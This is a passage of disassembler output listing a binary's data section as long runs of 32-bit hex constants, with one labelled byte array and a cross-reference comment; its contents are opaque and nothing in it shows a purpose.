		dd 0B56B94A4h, 5276C890h, 61C3E200h, 49F264D1h,	0EE483021h
		dd 0B7AFF980h, 0B4801526h, 1892400h, 3BB413h, 3FB50492h
		dd 6F1A063Dh, 1E31AF09h, 0FA88A0DCh, 0B8D3EEF1h, 9C8C0284h
		dd 1D869103h, 28814089h, 0DDE7FEF2h, 1389BEDDh,	0F8E07D18h
		dd 12548076h, 680A4E2Fh, 95025EE8h, 10376406h, 38A6B611h
		dd 0E2130858h, 9E0E37Ch, 608F0253h, 2431B990h, 84C09F75h
		dd 1DE3F1Ah, 7B8BBF91h,	0D4E8D038h, 240C058Ch, 88D9CBA5h
		dd 4900ADA4h, 0ECC49DF2h, 0B8EFC168h, 0DBAB2068h, 0CE65E811h
		dd 48C4DF00h, 0E25C1318h, 60BC5558h, 5B2A4CCEh,	78119DFFh
		dd 0CC942EBAh, 4BACE8F9h, 22119200h, 426239EEh,	0B4445051h
		dd 0ED05EF59h, 89B890h,	0FBB72127h, 3A016DE6h, 0C48CF525h
		dd 11F844A0h, 2D2FDF01h, 0B8DD02FAh, 0C823E189h, 0C311D4D1h
		dd 0CCB84A77h, 3A024884h, 7F2A4B4Eh, 138828CBh,	0A9F831BBh
		dd 89839FAh, 45C7EF24h,	0F29CC89Eh, 24C9D724h, 5EC85E52h
		dd 4B00C346h, 0D7BCB313h, 0D33039FEh, 0C88B1D0h, 437A004Ah
		dd 0C14F5D69h, 12030ACBh, 0C8A0C4A1h, 7FFC021h,	0C44497F3h
		dd 76A78612h, 0C4CA6005h, 0B281B0ECh, 24C159B8h, 4904ED68h
		dd 5F73ABB3h, 650080F9h, 5EDD2303h, 9A39D1A5h, 5DA69DA2h
		dd 4C541480h, 794618E8h, 0A285F793h, 1A79482Eh,	1BD76091h
		dd 0F77391CCh, 0ADD28C40h, 0CDC8A38h, 0B6173D4h, 0CC9FE44h
		dd 0D80EB0C3h, 0B4EE8293h, 4622042Ch, 34B8D241h, 9C505125h
		dd 0D9335F30h, 3C554890h, 0E1D9F3Ch, 0D067564Dh, 0C5EF9D24h
		dd 11BC5400h, 0A110ACD3h, 0A2DF009Bh, 9C96A620h, 7401024Bh
		dd 7BE8C90Bh, 2E3BD9B5h, 27323FCh, 5AFDF571h, 0FCFD1C43h
		dd 7D398410h, 0F6DC2300h, 6C172F4Ah, 6CA209A7h,	46277210h
		dd 2CE24AF4h, 8730D8F2h, 0AA8A00A6h, 0A5DCC755h, 69305A80h
		dd 7C8C8073h, 49493B9h,	0C4768A28h, 0E840AA98h,	80BA481Ch
		dd 49CB0BCCh, 88DB81DDh, 0B4DCD0h, 4E94AFB7h, 766EB275h
		dd 7247C988h, 0B0D6000Dh, 8E617340h, 17005A87h,	8C4D8D7h
		dd 4A8A520Ch, 0A2B0F37Dh, 65CB30D3h, 0AB582095h, 0E8E832FDh
		dd 46210B16h, 9420EB49h, 0AE86BCE6h, 4027F12Dh,	0BA770150h
		dd 0CCD12730h, 381A34A2h, 0F8C12E06h, 0A4711F02h, 4211305Dh
		dd 99017CD6h, 0F6CDDFC0h, 0B43C7881h, 28F95289h, 37188EF1h
		dd 12895F13h, 0DA0DF40Fh, 4AD10358h, 9D290BF4h,	0D479CE06h
		dd 0B041540Ch, 6C34445Dh, 792F4479h, 0A9600096h, 1C6B694h
		dd 3654100Bh, 28CEA68Fh, 8CD9EC28h, 43E9B300h, 7FB6CD0Ah
		dd 0D47004E6h, 0C3238A1Fh, 0EB87D58h, 6309FFDFh, 5182CC46h
		dd 182779FCh, 1F4D04E0h, 0C17813C8h, 701B8940h,	0C1004CDCh
		dd 6CE5DF1Eh, 612F0AEh,	0FFC81DD1h, 8104417Ch, 389E995Ah
		dd 8E0C35BEh, 0C18E888Ch, 0E406A131h, 716FE65h,	0CCA0A5B6h
		dd 4D538861h, 0E4B60A7Eh, 9B362385h, 0A06B90C2h, 8DA69FCCh
		dd 5739CCC6h, 2F14DE91h, 0CAF094A2h, 0F32590B8h, 0AA177874h
		dd 9C39B60Ch, 2FCCF8A2h, 48E5709h, 0BEC57F44h, 0DA23EC3Bh
		dd 0B89B1C00h, 1324BE0Fh, 8CD8EAF8h, 12E99F34h,	0AF5854B8h
		dd 0F4A18C0Dh, 9A209802h, 0A45020D3h, 834ADAB0h, 20AF3CD2h
		dd 383E5946h, 19DB4B4h,	935EE148h, 3C640422h, 0B7FA026Ah
		dd 0E51B07DEh, 52AC425Bh, 4480D357h, 303E22DDh,	10AF491Eh
		dd 0BB18F180h, 2D547AECh, 200E9B0Ah, 5FE5A161h,	0BC302C86h
		dd 781C8CD5h, 0A70BB743h, 0C507081h, 2E9E42C6h,	49D85C9h
		dd 508C22ECh, 0D59C400Dh, 0C0887B5Bh, 4E430009h, 9794BB2Ah
		dd 750093BAh, 0F3E7F8Fh, 4B1601B3h, 18F0906Eh, 320028ADh
		dd 0FE53CEC6h, 0BD487335h, 2088ACC0h, 440D6C12h, 38D3F805h
		dd 0E824F8F8h, 0D2465E00h, 4E161701h, 32A5DBFAh, 8094E9Ch
		dd 7C18D4F5h, 7ED846h, 0D125D51h, 0D31E4AF8h, 0CB21C960h
		dd 834447h, 96F0DBAAh, 15D656B2h, 2402E45Fh, 0FC324AA6h
		dd 0BB540414h, 26148202h, 0DD51B920h, 0C4C9D7Ch, 7DB7FD09h
		dd 0C1C427AEh, 2A4D0528h, 6BCE807h, 8F4681B9h, 0FEC82638h
		dd 49B34128h, 0D8002A25h, 8FB94798h, 0EF2A164Ch, 89D8FCABh
		dd 828413ECh, 0C2462504h, 0B60230A8h, 37C060F1h, 0DFAE0035h
		dd 0FE4E9E28h, 200BACEh, 7E1BB3A9h, 4A2DFA74h, 7490F318h
		dd 2042DF3Fh, 31DE0F29h, 0F037E31Ch, 8B14ED24h,	0C23CF3C7h
		dd 0E58F9A51h, 0B54909E4h, 9EC99C03h, 5A391002h, 0C2189C03h
		dd 43005C14h, 0BEB017B9h, 9B24BD70h, 0AA00AC09h, 3857E0F8h
		dd 0A85198B3h, 1DCF6160h, 652D51BAh, 0A799068h,	8CCD5286h
		dd 58DFFE11h, 3B35C0D8h, 430448h, 2B293853h, 118BC834h
		dd 151605FAh, 0FCA25ED7h, 8FF90177h, 0D0B29E6Eh, 25B873C4h
		dd 0C44065F3h, 1AB067EFh, 6951C4AAh, 3880D111h,	675D806Ch
		dd 0D6823512h, 59F210C2h, 18FA7104h, 4E267079h,	8884B26Ah
		dd 0F9467EF2h, 0DD45781Fh, 4C508032h, 7F3D31C5h, 0C647C283h
		dd 20979D48h, 0E281D491h, 7CE634A3h, 5845C0CCh,	1DEB2D77h
		dd 1965C5B4h, 0C1C71860h, 0F261807Dh, 74504624h, 6C0309CCh
		dd 0C741207h, 4674342Ch, 0F14102D7h, 0C25B1FFFh, 8CA55D0Ch
		dd 492C426Bh, 54796C99h, 465E202Eh, 0D24C00DBh,	91C4E3F5h
		dd 0B60100CBh, 72EF1D1Eh, 7C2805F3h, 7F2E28FEh,	2F3B448Ah
		dd 11289F6Bh, 0B70780BEh, 3B2547A2h, 7601B3EAh,	8334CC04h
		dd 5C298EC6h, 0D49565E8h, 0E1100CA9h, 10A2D38Eh, 0AE302CB2h
		dd 0C8811399h, 336C20E7h, 0FBFD32h, 12942FDFh, 0AC65530Dh
		dd 0D112CB80h, 0ECED07D4h, 0D2E1A0B1h, 130562E9h, 1FF9C6E4h
		dd 0F8F8C494h, 921A2780h, 40B024DDh, 9FA90CA3h,	0E0D02EBBh
		dd 4BCAF38h, 6754DC4Eh,	788CC7F2h, 88AC3C12h, 0A864C80h
		dd 63002AA0h, 451CDB46h, 2946DA1h, 0DA30C704h, 30560318h
		dd 81C60C4Fh, 8CD00096h, 6C530916h, 0F5013918h,	43DDD35h
		dd 2E2B57CFh, 232354h, 0E2725D67h, 0C898D7D1h, 222AFA27h
		dd 0CCD294h, 4101ED39h,	8CF30C5Eh, 23BC805Ch, 0F7823E8Ch
		dd 0F119A681h, 2B7C6E1Eh, 0C5506097h, 4D3D4Ch, 3372EEE9h
		dd 2754DB8Eh, 0E5EA4F00h, 0C634E674h, 0C8E0BDC4h, 4182D277h
		dd 842E7EDCh, 8314F8ECh, 0A8A05D9Dh, 1012C06h, 93C90A24h
		dd 2F09D0AEh, 11414822h, 2C7B21FDh, 52C6045Ch, 0CCAC27BAh
		dd 28B276C8h, 66604809h, 9C4B213h, 0DE5FF1ADh, 0BC4498CAh
		dd 10A0355Ch, 182DD1C9h, 0A4023898h, 0A0B7982Ch, 7C936D12h
		dd 0B84FE8C2h, 2CA1FA1h, 0F70445B1h, 1E508086h,	5E0E450Dh
		dd 80372425h, 0EC95C818h, 0E7DECB30h, 20636886h, 14D0409Fh
		dd 0A12A1852h, 49AF9812h, 1E92C20h, 80612B1Dh, 0F474A019h
		dd 7A0036C0h, 0C9D20E44h
		dd 16E7FD1Ch, 0C8D055FFh, 4910B950h, 0DC1267C5h, 13C4A23Dh
		dd 280E85C8h, 984BB055h, 9B54EE0h, 86D8721Ch, 3AD2341Ch
		dd 6568B430h, 4CC64E12h, 0DE9FCCE8h, 2C9867F2h,	6E2D494Ah
		dd 72CCC117h, 3B361084h, 64B656C8h, 54AC470Bh, 812C8866h
		dd 98A22C3Eh, 0EA4AC404h, 34FBC87Bh, 7030FA8Ch,	8062EA31h
		dd 0C1C07B2Eh, 5FC5CAC0h, 8220A582h, 7FF5AA17h,	9AF65901h
		dd 0FA0FE207h, 0B00FB858h, 4B362185h, 287C664Bh, 2FC0C7F3h
		dd 1030C931h, 12856259h, 0F2B4F2C1h, 71B730D9h,	0B025BC00h
		dd 0AFFDEEC6h, 72B1C4B9h, 2330A523h, 97D6005Ch,	0D550C743h
		dd 2E2F006Ch, 9F5CCDF8h, 260FA36Ah, 8060390Ch, 0B202F3E9h
		dd 736F8B8h, 5414EFB4h,	60F0FCEAh, 3B3F8038h, 19FF03E6h
		dd 86916Eh, 97AC6821h, 0E6EF496Fh, 0EAED83Eh, 820EF457h
		dd 0F237F121h, 68730620h, 0FC079FCDh, 6F0FFE0Fh, 780F93E9h
		dd 26D4603Ch, 0E8549647h, 381800E4h, 0C9C17ACEh, 0E897D366h
		dd 741B4E0h, 76B1AF34h,	0C97E61AAh, 0E8982CD2h,	42048CD7h
		dd 244F8533h, 7720D080h, 165EF048h, 0B8CBDC67h,	1584AE18h
		dd 9E34812Ch, 0DF08895Bh, 3D4883DBh, 0A610112Fh, 8C931DDh
		dd 0C3FA1D0h, 3E08BD4Ch, 2618B162h, 0DACF0369h,	2D611018h
		dd 0C64E3040h, 2072A008h, 20CA2920h, 343156C3h,	0C69510ABh
		dd 0BFF6088Ch, 31C6C328h, 0FC088CCFh, 0E320C6B2h, 0C832382Eh
		dd 37D8986h, 18102AE7h,	65109471h, 0C8BF1884h, 0CC04BE38h
		dd 2659EE08h, 831739C6h, 0D84C3108h, 885D8B20h,	88AF248h
		dd 5E0CC00Ch, 0F7350881h, 31B428A4h, 0E2DC0828h, 2008E206h
		dd 2820BAB5h, 0C4539801h, 6AE8F28h, 20102BC9h, 6531D6BDh
		dd 0AD7708A9h, 8CA47A01h, 875FC68h, 18E06541h, 658C46BBh
		dd 1E2010D2h, 0E1BD2087h, 309DAD20h, 6D087683h,	5DF8D0FEh
		dd 0DE705463h, 0B40810FBh, 80FA2A3Ah, 1036F631h, 7C016C48h
		dd 0B59453D9h, 0F00B082Ah, 28658F31h, 0F001A174h, 0E2088CC1h
		dd 405D20CDh, 7F40C447h, 0E7C8A876h, 24DA81A2h,	38620428h
		dd 245EC08h, 0E1035F47h, 624818E4h, 8EA23088h, 88C808CAh
		dd 4C4AC092h, 238ABCA6h, 3D98F846h, 80290508h, 28C6A79Bh
		dd 313892B3h, 0F4087E5Bh, 0A208C3Ch, 0CE53107Ah, 18B9A3C9h
		dd 0BFF98873h, 60F30CA5h, 0BE635918h, 10AFD228h, 10626B18h
		dd 37108419h, 511B3203h, 9AF0A721h, 0A1FF29ECh,	0B18CE5C4h
		dd 3F30BCF8h, 0ABB58040h, 9C91FCD4h, 99014A78h,	0F8208C6Dh
		dd 0A803104Bh, 0CCCB1E8Ch, 1A19628h, 0B5085164h, 0D7590091h
		dd 0CC7F208Ch, 0F0A81208h, 8CC4CDAh, 5455C90Eh,	817CB0A0h
		dd 96AC24FDh, 0C42B6E40h, 1C4E9939h, 0BC4C61D2h, 0C9C740C5h
		dd 502295C1h, 0B4026FC2h, 633A03C9h, 0BC44302Ah, 18001949h
		dd 4F20A62Ch, 3F30C473h, 0F8340ADEh, 0BE99498h,	784780E5h
		dd 32AB10C6h, 3CA24940h, 866EA18h, 18C4486Bh, 510A7F8Ah
		dd 8F638DE4h, 8910F310h, 0E1856A1h, 310F1879h, 802AA880h
		dd 788086CBh, 30A08037h, 0C4FC0580h, 9551408h, 22DC23AAh
		dd 645FFA5Bh, 7DE52CA4h, 4F441659h, 8003BDECh, 100045B4h
		dd 1AAB3CAFh, 5CFD961h,	3695A44Eh, 73AC901Fh, 43007B62h
		dd 0C7FAA748h, 0FCCD28Eh, 5E831C47h, 94688267h,	1E6CF935h
		dd 0CB0026DBh, 0F291BC56h, 0D31B0C8Fh, 7E504AC2h, 5D99F4D8h
		dd 0A0FB6004h, 0E7A9CAB9h, 9002BE03h, 0C038F036h, 5B7AE64h
		dd 88DAA10Bh, 58D4A9ABh, 4C0E1284h, 91819F1Eh, 53FF81DBh
		dd 181990BCh, 0DC0510D7h, 0F4B848BEh, 71800F00h, 0A9AAB363h
		dd 0B4400029h, 0C202AB0Dh, 902A0A3h, 0B95EAEBBh, 0B24480AAh
		dd 0E54AABh, 3FAF99FBh,	977B89E8h, 41F8CA00h, 0ED5DC1ECh
		dd 0FF8DF1Ch, 3806FE87h, 0FB2510BAh, 0F050FAC2h, 0BB97C6Ch
		dd 0EADAB6A9h, 4C3F9850h, 0E27CFCCCh, 0C15DE18h, 60FDD338h
		dd 98252004h, 5B135E7Bh, 0CCB1CB6Dh, 0AECC43Fh,	3C84472Ch
		dd 433BEFF8h, 4C52D318h, 0F4544120h, 210BC5Bh, 31D5DFCh
		dd 0CDA0BB00h, 3CC000E5h, 7E858CDDh, 9D007A73h,	7165EB33h
		dd 0A482FC48h, 966D0064h, 0E5C4FEEDh, 2053A9Dh,	717E947Ah
		dd 8EFDE820h, 4F6E18E3h, 59B328A7h, 1EEB2307h, 15C31C97h
		dd 0D74102F4h, 59DEC3ABh, 973E0840h, 3E6CB3Eh, 8EF19DCFh
		dd 1A6AE151h, 3CB1EEF4h, 721E6753h, 743C09Bh, 23E3CFE6h
		dd 85FDB938h, 0C502CA66h, 92DB5400h, 0EED9AE5Dh, 0A9B33D91h
		dd 0CEE35E09h, 930A607Eh, 970088C6h, 52E725D4h,	3CE1C478h
		dd 0AB500ADh, 1BCE5DBh,	0CE87FDFAh, 415AA0DAh, 0FB6E12ACh
		dd 9500F0D6h, 0CDBA73D3h, 21CEEh, 7F806454h, 0EBA4FB6Ch
		dd 0E3C48400h, 0D51E6D46h, 829D0063h, 5D935470h, 0E984E10h
		dd 0B8FE4D37h, 1FBB467h, 0BCE66A3Ch, 497EE439h,	0DE3968FDh
		dd 35000048h, 2310A2FEh, 62003FF5h, 0F4C0E638h,	0FC14C94Ah
		dd 725E12B4h, 1C7C015Bh, 0D082D446h, 3F1C4FCCh,	0C8F0DCD3h
		dd 1E8B107Ch, 80FD249Fh, 0AA90332h, 949EAAD3h, 5E352A07h
		dd 705ED24Fh, 0BBE5FDC7h, 0B0D0A30Bh, 0CB8BF8D1h, 359728A9h
		dd 80882FFCh, 0D9D804C0h, 0E0504AF0h, 148D0A8h,	0B9B800B4h
		dd 0E8374D68h, 30D44947h, 0B92700DEh, 0BEE5A902h, 30780A4h
		dd 0AB6A6717h, 0D2DAD040h, 42249A55h, 19B73E7Fh, 3630F5B8h
		dd 0C5020469h, 0D983E33Ch, 953CB444h, 5E41807Dh, 6C987A11h
		dd 240F1FF0h, 1A8E0009h, 0C9E2E596h, 85795D12h,	5B71E445h
		dd 0AE3ECFC1h, 47DDFF0h, 0FD0BFF86h, 1B1180CAh,	811DEAA2h
		dd 2381677Eh, 74660641h, 0C0FCCEC8h, 5D9B4D88h,	0B7006946h
		dd 1D9E8F09h, 65BE3Ah, 37DA9768h, 0C9023990h, 7CCC1802h
		dd 0A0E6E26Eh, 0A91C9A9Ch, 6BDA18CFh, 0D82BD8A2h, 0B357AB0h
		dd 0C06110DCh, 0A043B4B2h, 4062825Dh, 707A9300h, 2025636Eh
		dd 6CA0149Ah, 48501563h, 0C30B01C0h, 83C1E6C9h,	9A31DCAh
		dd 0E386FD78h, 3CE7B0A1h, 0B0C9A488h, 38528013h, 70FB604Dh
		dd 6B26347Dh, 86482800h, 807E28E0h, 3B42550h, 90A688C8h
		dd 40BBC9EBh, 0DCE385CCh, 485DAA09h, 505809ACh,	9CD3005Ch
		dd 0EC56C61h, 5D03E31Dh, 0BCFDD5EAh, 0F0200147h, 3C5E6645h
		dd 5A58843Fh, 1085369Bh, 40AD7C5Eh, 2C65E318h, 991493CDh
		dd 6089C873h, 4E6A59BEh, 0FB89C830h, 117898BFh,	0D32780B7h
		dd 88645831h, 0BC314017h, 0C3A0F030h, 7D428550h, 89E78CC1h
		dd 0AF8B8E38h, 0CC608DCh, 8AE02596h, 30F11BF8h,	6B306600h
		dd 431D40EBh, 0E13B2672h, 4870080h, 91FE4286h, 8877E618h
		dd 484E1611h, 6804405Ch, 818FF0D5h, 8282E048h, 4E9FEBF9h
		dd 80DC6597h, 90CD318Fh, 0AA032146h, 0B350A096h, 19893E8Eh
		dd 4A20232Ch, 876E06F4h, 6100100Eh, 8DB8D6B0h, 98EE7D8Fh
		dd 6E1A3F3Eh, 0B8CFB28h, 2A3BDAB1h, 569AEC10h, 0D898CA71h
		dd 5AF6619h, 0B8403E80h, 0CDD3B25h, 873065F0h, 0E498FD18h
		dd 0B56ECE0Dh, 0D1F97044h, 58890DC8h, 0C789E882h, 0E0A63807h
		dd 7BC5707Eh, 71541402h, 4880DA66h, 3AE3394Ch, 36B36E11h
		dd 0C0F2CD48h, 0A1AFD8A2h, 5BB5461h, 0DC013409h, 0A4480274h
		dd 10617C41h, 0DC0021EAh, 1249DE5Ah, 2DC43E20h,	0B2B05A09h
		dd 2CD31620h, 0FEB0414Fh, 80AD5FDEh, 0A9DAB320h, 17EEF17h
		dd 999A018Bh, 2384076Eh, 17B8448Ch, 54D3708Ch, 9189A07Ah
		dd 0A0FB1994h, 0DE804254h
		dd 806FFE10h, 13092D3Bh, 1645FBFh, 0D4E70DB3h, 6E146EF0h
		dd 2649405Dh, 3EBFC882h, 847D9702h, 10804628h, 0F86D5AF2h
		dd 0D5090C8h, 0BC745FE4h, 71B43008h, 0B5137914h, 0ED1909B2h
		dd 0FD48A6A2h, 58009D98h, 4DF70F99h, 0C06E1D0Ch, 0E56815h
		dd 0D61747C1h, 0E69BFE59h, 1C0432EBh, 4D6DC46h,	7E1F0907h
		dd 7CA08717h, 30E5C278h, 7E216D4h, 0C5169CA6h, 477B2B8h
		dd 4A2F0E22h, 37B09168h, 0A862C194h, 14D8699Eh,	8B2C9CB0h
		dd 80236Ch, 80C31E0Eh, 0BD00FE4Fh, 8E286602h, 0FF86B1DDh
		dd 3F353EF0h, 0A1806D2Fh, 0CA396DCh, 2009A17h, 9DE00A51h
		dd 0A0A9766Eh, 0FD2B88h, 7B71E744h, 0D5E6049Ch,	251C0E74h
		dd 0BEC0AA46h, 6EC623E9h, 0D5F0E37h, 0D73D1CCFh, 9D844031h
		dd 5B461869h, 24A560A2h, 4E9C09E7h, 9CC09C0Eh, 3CE6DDBh
		dd 1D82600h, 2AD34990h,	121C904Bh, 2691266h, 5AC1ED0Ch
		dd 0E32EC4E8h, 0F12C6890h, 6D418837h, 0B4242D57h, 6E163ABCh
		dd 0E501F4C9h, 34FB8077h, 1474F8EDh, 594530C0h,	0BE2BCF1h
		dd 0EBA5DAB8h, 88CC54A5h, 6438951Ch, 0D5E50018h, 0E49AA3B9h
		dd 43D3165h, 0EF4DA540h, 2E4D141h, 3CE87DB0h, 0D4AB1CD3h
		dd 35DDDEE0h, 293B1600h, 0D7DB253Ah, 4CE5717Eh,	5218943Ch
		dd 0F4EC50E6h, 98703554h, 1CD00995h, 2B52E64h, 62AD42FCh
		dd 24A21849h, 7E00CB88h, 3B7F49AAh, 906C8B46h, 0B6FD00D0h
		dd 5E3616EDh, 0A0B0319Eh, 0F0DDE53Bh, 60C188B2h, 0DEC6E14h
		dd 0E2E3B425h, 0C2764236h, 0B6E0900Ch, 0FB512ADAh, 0C8A44D98h
		dd 70C536C7h, 59B8CC6Bh, 3BB1FC0Ch, 139C02Ch, 0C3E513DFh
		dd 92B0EBDAh, 48121730h, 6E31D037h, 400584FBh, 0ED474EC8h
		dd 96019EE6h, 5E382515h, 707078A9h, 49503B3h, 0CDE2F666h
		dd 600B9A89h, 3500EBD8h, 11AAD95Ah, 0C5DBAAEh, 7F26EC7h
		dd 25006A69h, 3146304h,	0D99F92h, 0CBA8500Fh, 3A5C8593h
		dd 6468BF00h, 456EC3C4h, 1EC94F9h, 12A713D3h, 0E67DE062h
		dd 1808BB50h, 0CB0F0E78h, 0C284C289h, 40A67E74h, 0E039DEC0h
		dd 354E0290h, 673426D3h, 1031864h, 0DBDEC96Bh, 0EE980EF2h
		dd 0A4D4BF65h, 6DC08855h, 40885DA7h, 0D604E888h, 24C6C55Eh
		dd 0C4545C19h, 0C846FC4Dh, 611C4524h, 36C6965Ah, 1DA40158h
		dd 95AE37E4h, 80484CC3h, 994AEE20h, 0E8FDBCD2h,	802CC7BCh
		dd 78D7BAB3h, 86F04CE1h, 9A28C7FAh, 0D30B838Fh,	6802D7C3h
		dd 0E950C61Ch, 46804214h, 54942E04h, 68FB6154h,	0A8AB60D7h
		dd 2858C63Ch, 542808C0h, 0FD016C93h, 0F1CAA9D2h, 5074DF65h
		dd 36BD0057h, 0C9FE15ADh, 2A003A1Bh, 0A1B8DDF9h, 590C202h
		dd 0C6B239BAh, 6C30C05Fh, 6A07ED3Bh, 84D9E63Ah,	48C363E5h
		dd 44268281h, 8A661884h, 0C75660BDh, 9E005E73h,	0DC38CCE5h
		dd 57E26E4h, 0F150258Fh, 1CBEC0F7h, 68A18B54h, 5DC86091h
		dd 5402404Ah, 0C09068D3h, 0C8677FD8h, 0DA04B2C8h, 88524F7h
		dd 66BB98C0h, 1D5D13CBh, 0F200083h, 0CDDF7DAEh,	4DC4CE59h
		dd 973C4D1Ch, 42B82404h, 1C20ACE5h, 0FFDF1901h,	0F180D196h
		dd 48042A48h, 3C863290h, 52FD4B68h, 0F07C40A4h,	45E0312h
		dd 24D4F351h, 5433DE84h, 1ACA811Ah, 10B7FBD8h, 0D8EBC402h
		dd 536F1C00h, 99D03ECFh, 3A15B201h, 8A2BCCD3h, 0E4401A98h
		dd 0C0081B17h, 9DE0683h, 0D2405944h, 90656F14h,	0F0C0F347h
		dd 8DDF171Ch, 6C047E4Bh, 191F743Dh, 1585100Eh, 18A31800h
		dd 146C62Dh, 6F1AFD3Dh,	0E19582CEh, 0E7084055h,	0D9609E65h
		dd 845E01B0h, 0A480D523h, 0BCF35D0Ch, 94019310h, 0D8C1E603h
		dd 0F242C6ABh, 59B050DCh, 0D2896845h, 0DAD08418h, 7DF450FBh
		dd 8500AE68h, 3B4BD8Bh,	77A30A3h, 231D0F62h, 95F31029h
		dd 6A2565BBh, 20080A12h, 85C9942Ch, 9041010Fh, 7965FDBDh
		dd 0B1C16C2Ch, 400D7DDAh, 0CE8CFEB0h, 0E5515912h, 0CC070C52h
		dd 0BFC29A05h, 28647B2Ch, 1D22060Ch, 76066981h,	29C099Dh
		dd 11B3040h, 0E0C79E36h, 0F9D499B3h, 0CA320120h, 46167BA0h
		dd 60507DCh, 0CFD364B3h, 10168844h, 16099124h, 66B00113h
		dd 0C36AF688h, 6010D0D2h, 972406F3h, 98502E08h,	12F2F87Fh
		dd 6B1FD08h, 6CD83203h,	16259440h, 90B44680h, 51EC2078h
		dd 21040979h, 86BFF362h, 3D0FCF4h, 0E084F520h, 8185AFA5h
		dd 284E6EA8h, 0FE3AB058h, 147F5AD7h, 2C2904A0h,	72426F0h
		dd 504073CBh, 0A3D339C5h, 0A6988FF1h, 6902209Bh, 0F73BB6B5h
		dd 389F182Ah, 6673C2CDh, 0F799516h, 0DC376016h,	81D4E3C1h
		dd 0D903102Ch, 0A66045DDh, 70E7BC89h, 120F3571h, 8274ABh
		dd 3A96EA77h, 236A0202h, 0C51FB65Eh, 5D10CC44h,	20044B2h
		dd 0D9E772C0h, 2701AD85h, 5E9B34F0h, 0A8202824h, 6E680C33h
		dd 2DA03BCDh, 0F370AB01h, 0FE887B5Ah, 2DEDD474h, 741095DEh
		dd 80E09C57h, 4B3F91Ch,	290EC981h, 19705DA6h, 0FB78C024h
		dd 0D5A31C67h, 0F4AED026h, 6473BD07h, 0EE470C0h, 45FE00ACh
		dd 9FF5D3Dh, 0C8927B8Fh, 65E80880h, 70A0C94Ah, 15E273Bh
		dd 6E7B9C40h, 0BB1D377Fh, 0CCFE4002h, 0D9BE3F1Ch, 0DACC00C4h
		dd 45A1B6B0h, 5BC57799h, 13E80482h, 88DC8404h, 8C068090h
		dd 0F38DD363h, 0BA740210h, 0F0EC07B1h, 4641FB81h, 0A4E9F051h
		dd 89029800h, 0B7D5A2DCh, 1680FC86h, 451F6066h,	0C0D840A4h
		dd 9FFB852Fh, 13EF2A0Ah, 1D00E0FDh, 0FCC6DE70h,	0F56E278Fh
		dd 82CFAC00h, 0B80C0267h, 0A02CB5DAh, 9C96173Ch, 0C8B40BD0h
		dd 42D41869h, 88408458h, 0E92D65E6h
byte_4E414C	db 90h			; DATA XREF: ___:off_43A190o
		db 92h,	0FCh, 0B0h
		dd 2A315DE0h, 1DC0C864h, 0CF6C914Ah, 6A0927AEh,	5C31F0C4h
		dd 73193196h, 0ED9430h,	0C7BE413Bh, 0B35446B2h,	84BA0C00h
		dd 9833C3FBh, 4D6EEC8h,	6E65E56Dh, 19D48CF7h, 4E811094h
		dd 0FB65EB44h, 0EC305038h, 859DC471h, 0B80350B8h, 86F11408h
		dd 6820F293h, 305E2F9Ch, 0E5E8A773h, 0DF726D8Dh, 28B9CA78h
		dd 0B1502B03h, 7792D036h, 24A0E638h, 3B656h, 0D47507C2h
		dd 2114C6A7h, 130869FBh, 0BCC8CCFDh, 200892FEh,	989346F9h
		dd 663C9825h, 0C55206A6h, 108B4E7Bh, 6CB8F155h,	0CEE0783Ch
		dd 4DD510C0h, 0E8D6888Bh, 408F06FDh, 891CD59h, 6E10F105h
		dd 0E41EA80Ah, 4E5A22CCh, 0B86F51D1h, 4E31D473h, 81586A59h
		dd 0E570AE78h, 3CFD8AFDh, 8B40093Fh, 0C840BF0Fh, 0D334C61Bh
		dd 0D8D4C932h, 81DC763Ah, 83DF5DC5h, 241420D1h,	5BD0BC61h
		dd 0F0EA2F6Dh, 0A5CF03A4h, 668176F1h, 3826179Bh, 0A927EADEh
		dd 0D394607Ch, 58A06406h, 2ED4B60Eh, 982D34E2h,	245DFDC8h
		dd 0A43C5CE6h, 238C0094h, 2CDF137h, 8D0B1790h, 4053EA0Ah
		dd 0CEE25400h, 6AA00C38h, 45741802h, 67DA4100h,	5E9763D9h
		dd 0F9BC63CDh, 6FC13878h, 1C1089BDh, 0C00CE9A6h, 4D4CC12Eh
		dd 4CF46141h, 3D40F070h, 34016BD0h, 867FAD00h, 18481BD8h
		dd 0FF2309CCh, 0D5AC8193h, 0B0627B54h, 0A4207D89h, 0AB1865E3h
		dd 74B68C9h, 0A9F6E774h, 3CD8F979h, 3EF00290h, 95C8EDACh
		dd 6E24400Bh, 0E848FBh,	1D8E4F76h, 0E09125C0h, 80E20454h
		dd 0D0476E82h, 0B22ED884h, 0FE8D0E80h, 0EC82D6CCh, 0B1B480B9h
		dd 316EA1BAh, 6568A62Ch, 1948C8BCh, 368F50C0h, 28385FBh
		dd 0EDC81297h, 50A02F96h, 0AC812958h, 9D25F41Ch, 0AE54450Eh
		dd 9AB300B1h, 1E63876h,	5C0CE1BCh, 0E186FE21h, 160840D4h
		dd 7E263D4Ch, 8B014CB0h, 8D97A9B3h, 0FFC8C085h,	703450FEh
		dd 1B06653Dh, 0D97FDF30h, 0CB1CB0B2h, 906E9BDAh, 41E26B80h
		dd 98B5ABDCh, 0F44A8E0h, 39EA206Eh, 0E66B909Ch,	0B8B22570h
		dd 20966444h, 0DBC1FB60h, 0B38D2688h, 16084814h, 3A801FDh
		dd 34BA446Eh, 0E975D9BCh, 120737EEh, 0F854DF3Bh, 40E7B2E0h
		dd 7D04306Eh, 0FE2DBC89h, 193DDC00h, 0ABBE5D46h, 0FB750336h
		dd 1FD54A74h, 0E456C688h, 63DAA900h, 4EAE158Fh,	0C0B20F37h
		dd 0CA87EB99h, 0ED25C0A3h, 0D0AA1C1Ah, 2E1EC880h, 0AC2E8C50h
		dd 0F240F095h, 26DF6845h, 0B190181Ch, 0FC4729F0h, 7200941Ah
		dd 8822466Ah, 98D718EBh, 7EF50190h, 0DC6DF06Bh,	0A560B88Ah
		dd 0F9DC83B8h, 0E6481742h, 90A04B45h, 604284E2h, 30015DC3h
		dd 0AE1207B8h, 1C30495Bh, 0AC8891D5h, 1748A4D4h, 0ACC4491Bh
		dd 8403AC85h, 28F03189h, 25208477h, 0DCA42FC8h,	786E4159h
		dd 1BC20054h, 0E55DC646h, 73FB806Dh, 0E9D5081Ch, 0F95C9CBEh
		dd 7B699380h, 9A296E7Ah, 0BACA00B0h, 8B7A9D2h, 36050D1Eh
		dd 0F2646644h, 4A48548Ch, 12348BA4h, 0BCD07F80h, 902AB45Dh
